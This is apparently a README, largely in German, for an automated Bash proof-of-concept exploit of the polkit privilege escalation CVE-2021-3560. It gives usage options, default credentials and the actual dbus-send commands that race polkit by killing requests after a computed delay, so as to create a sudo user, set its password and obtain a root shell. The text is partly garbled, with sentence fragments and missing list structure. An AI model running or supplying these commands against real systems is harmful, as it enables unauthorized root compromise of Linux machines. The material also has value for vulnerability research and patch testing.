
Automatisiertes Bash PoC für CVE-2021-3560 polkit Privilegieneskalation. Nutzt eine dbus-Zeitwettlaufsbedingung aus, um einen sudo-Benutzer zu erstellen und eine Root-Shell auf verwundbaren Linux-Distributionen zu erlangen.
Dies ist nur ein Bash-PoC-Skript, das die in Kevin Backhouses Blog erwähnten Exploit-Schritte automatisiert. Lesen Sie seinen Beitrag zu dieser Schwachstelle: https://github.blog/2021-06-10-privilege-escalation-polkit-root-on-linux-with-bug/
USAGE:
./poc.sh
-h --help
-u=Enter custom username to insert (OPTIONAL)
-p=Enter custom password to insert (OPTIONAL)
-f=y, To skip vulnerability check and force exploitation. (OPTIONAL)
-t=Enter custom sleep time, instead of automatic detection (OPTIONAL)
Format to enter time: '-t=.004' or '-t=0.004' if you want to set sleep time as 0.004ms
Note:
Equal to symbol (=) after specifying an option is mandatory.
If you donot specify the options, then the script will automatically detect the possible time and
will try to insert a new user using that time.
Default credentials are 'secnigma:secnigmaftw'
If the exploit ran successfully, then you can login using 'su - secnigma'
and you can spawn a bash shell as root using 'sudo bash'
accountsservice und gnome-control-center installiert haben und die polkit Version 0.113 (oder später) ODER 0-105-26 (Debian-Fork von polkit) besitzen müssen.Ubuntu 20.04 mit polkit Version 0-105-26 (Debian-Fork von polkit) und auf Centos 8 mit polkit Version 0.115 getestet. Wenn Sie sicher sind, dass Ihr Ziel verwundbar ist, aber die Prüffunktion des Exploits fehlschlägt, verwenden Sie das Flag -f=y, um alle Prüfungen zu umgehen und den Exploit zu erzwingen.Eine umfassende Erklärung und ein PoC zur manuellen Ausnutzung dieser Schwachstelle sind im Blog des Forschers ausführlich beschrieben.
TL;DR dieses Exploits ist unten aufgeführt:
polkit durch das Senden einer dbus-Nachricht auslöst, die Anfrage jedoch abrupt beendet, während polkit die Anfrage verarbeitet. Dann kann der Angreifer eine zweite Anfrage mit der eindeutigen Bus-Kennung der vorherigen Anfrage senden, um die Anfrage als UID 0 alias root auszuführen.polkit, weil es die UID einer Verbindung mit einer Bus-Kennung, die nicht mehr existiert, als eine Anfrage von UID 0 behandelt. Das bedeutet, dass wir, wenn wir den Angriff richtig timen und unsere erste Anfrage im richtigen Moment beenden, die zweite Anfrage mit den Rechten von UID 0 alias root stellen können.Wie bereits gesagt, dies ist nur ein Bash-Skript, das Kevin Backhouses PoC automatisiert. Die Kernbefehle sind dieselben; ich habe nur einige anfängliche Schritte automatisiert (wie das richtige Timing, das Scannen nach Schwachstellen, das Einfügen benutzerdefinierter Anmeldedaten, das Ausgeben von Farben usw.).
Wenn dieses Skript ohne Parameter ausgeführt wird, ist das Standardverhalten dieses Skripts wie folgt:
/etc/os-release.]accountservice und gnome-control-center. [Bei rhel/centos/fedora wird rpm -qa verwendet, bei debian/ubuntu Distributionen wird dpkg -l verwendet].rhel.centos,fedora und 0-105-26 für Debian/Ubuntu]bash time dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 2>&1 >/dev/null ausführt.su - <username> und dem dem Skript übergebenen Passwort anmelden und dann sudo bash eingeben, um eine Root-Shell zu erhalten!Esc-Taste, um die Authentifizierungsaufforderung zu schließen, und Ctrl+C, um das Skript schnell zu beenden.$t) berechnet, indem die für die Anfrage benötigte Zeit durch 2 geteilt wird. ($t=time-required-to-request/2) [Berechnet mit awk]$t) berechnet wurde, wird die Anfrage zum Einfügen des Benutzernamens secnigma in das Ziel 20 Mal wiederholt. bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts org.freedesktop.Accounts.CreateUser string:`echo $username` string:"`echo $username`" int32:1 & sleep `echo $t`s ; kill $! id secnigma], wird ein Passwort-Hash generiert [mit bash openssl passwd -5 `echo -n $password` ]. ($password=secnigmaftw)bash dbus-send --system --dest=org.freedesktop.Accounts --type=method_call --print-reply /org/freedesktop/Accounts/User`echo $u_id` org.freedesktop.Accounts.User.SetPassword string:`echo -n $hash1` string:GoldenEye & sleep `echo $ti`s ; kill $!